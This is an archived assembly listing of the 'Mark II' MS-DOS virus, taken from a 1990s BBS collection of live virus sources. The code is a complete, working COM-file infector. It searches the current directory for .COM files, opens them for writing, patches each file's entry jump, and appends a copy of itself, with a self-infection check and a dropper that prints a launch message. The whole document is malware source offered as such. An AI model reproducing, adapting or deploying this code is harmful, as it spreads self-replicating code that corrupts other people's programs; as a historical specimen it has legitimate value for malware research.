home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / markii.asm < prev    next >
Assembly Source File  |  1992-06-05  |  3KB  |  210 lines

  1. PAGE,120
  2.  
  3. _VIRUS SEGMENT
  4. ASSUME cs:_VIRUS,ds:_VIRUS,ss:_VIRUS
  5.  
  6. ORG 100h
  7.  
  8. filelength EQU begin-start
  9. start:    db 0E9h
  10.     dw filelength+4-3
  11.     mov cx,lmessage
  12.     mov dx, OFFSET message
  13.     mov ah, 40h
  14.     int 21h
  15.     mov ah,4Ch
  16.     int 21h
  17.  
  18. message: db "Mark II virus launched successfully.",0Dh,0Ah,0
  19. lmessage EQU $-message
  20.  
  21. virlength EQU finish-begin+102h
  22.  
  23. begin:     db 0BBh,01,00
  24.     db 00
  25.  
  26. virusbegin:    mov bp,101h
  27.         mov bx, WORD PTR [bp]
  28.         add bx,103h
  29.         mov bp,100h
  30.         mov dl,[bx-4]
  31.         mov [bp],dl
  32.         mov dl,[bx-3]
  33.         mov [bp+1],dl
  34.         mov dl,[bx-2]
  35.         mov [bp+2],dl
  36.         push bx
  37.  
  38.         jmp sfirst
  39.  
  40. wildcard:    db "*.COM",0
  41.  
  42. sfirst:    mov ah,4Eh
  43.     pop dx
  44.     push dx
  45.     add dx,wildcard-virusbegin
  46.     mov cx,0
  47.     int 21h
  48.     jnc over1
  49.     jmp payload
  50.  
  51. over1:    mov bx,80h+1Ah
  52.     mov ax,virlength
  53.     add ax,[bx]
  54.     jno checkinfect
  55.     jmp snext
  56.  
  57. checkinfect:
  58.  
  59. fileopen:    mov ah,3Dh
  60.         mov al,02
  61.         mov dx,80h+1Eh
  62.         int 21h
  63.         jnc opened
  64.         jmp snext
  65.  
  66. opened:    push ax
  67.     mov ah,42h
  68.     mov al,02
  69.     pop bx
  70.     push bx
  71.     mov cx,0FFFFh
  72.     mov dx,0FFFCh
  73.     int 21h
  74.     jnc over3
  75.     jmp closefile
  76.  
  77. over3:    mov ah,3Fh
  78.     pop bx
  79.     pop dx
  80.     push dx
  81.     push bx
  82.     add dx,-4
  83.     mov cx,4
  84.     int 21h
  85.     jnc over4
  86.     jmp closefile
  87.  
  88. over4:    pop bx
  89.     pop bp
  90.     push bp
  91.     push bx
  92.     mov bh,[bp-4]
  93.     mov bl,[bp-3]
  94.     xor bx,0001h
  95.     jnz over5
  96. over4a:    mov bh,[bp-2]
  97.     mov bl,[bp-1]
  98.     xor bx,0FFE0h
  99.     jnz over5
  100.     jmp closefile
  101.  
  102. over5:    mov ah,42h
  103.     pop bx
  104.     push bx
  105.     mov al,00
  106.     mov cx,0
  107.     mov dx,0
  108.     int 21h
  109.     jnc over6
  110.     jmp closefile
  111.  
  112. over6:    mov ah,3Fh
  113.     pop bx
  114.     pop dx
  115.     push dx
  116.     push bx
  117.     add dx,-4
  118.     mov cx,3
  119.     int 21h
  120.     mov al,0
  121.     add dx,3
  122.     mov bp,dx
  123.     mov [bp],al
  124.     mov ah,42h
  125.     pop bx
  126.     push bx
  127.     mov al,00
  128.     mov cx,0
  129.     mov dx,0
  130.     int 21h
  131.     jnc past
  132.     jmp closefile
  133.  
  134. tempbuf:    db 0E9h,0,0
  135.  
  136. past:    pop bx
  137.     pop bp
  138.     push bp
  139.     push bx
  140.     mov si,80h+1Ah
  141.     mov ax,[si]
  142.     xchg ah,al
  143.     sahf
  144.     xchg ah,al
  145.     jnc noadd
  146.     add ax,1
  147.  
  148. noadd:    add ax,1
  149.     add bp,tempbuf-virusbegin
  150.     mov [bp+1],al
  151.     mov [bp+2],ah
  152.     mov dx,bp
  153.     mov ah,40h
  154.     mov cx,3
  155.     int 21h
  156.     mov ah,42h
  157.     mov al,02
  158.     mov cx,0
  159.     mov dx,0
  160.     pop bx
  161.     push bx
  162.     int 21h
  163.     mov bp,80h+1Ah
  164.     mov ax,[bp]
  165.     and ax,1
  166.     jz skip
  167.     mov ah,40h
  168.     pop bx
  169.     pop bp
  170.     push bp
  171.     push bx
  172.     add bp,-1
  173.     mov dx,bp
  174.     mov cx,1
  175.     mov [bp],ch
  176.     int 21h
  177.  
  178. skip:    mov ah,40h
  179.     mov cx,finish-begin
  180.     pop bx
  181.     pop dx
  182.     push dx
  183.     push bx
  184.     add dx,-4
  185.     int 21h
  186.     pop bx
  187.     mov ah,3Eh
  188.     int 21h
  189.     jmp payload
  190.  
  191. closefile:    pop bx
  192.         mov ah,3Eh
  193.         int 21h
  194.  
  195. snext:    mov ah,4Fh
  196.     int 21h
  197.     jc payload
  198.     jmp fileopen
  199.  
  200. payload:    nop
  201.  
  202.         pop bp
  203.         mov ax,100h
  204.         jmp ax
  205.  
  206. finish:
  207.  
  208. _VIRUS ENDS
  209. END start
  210.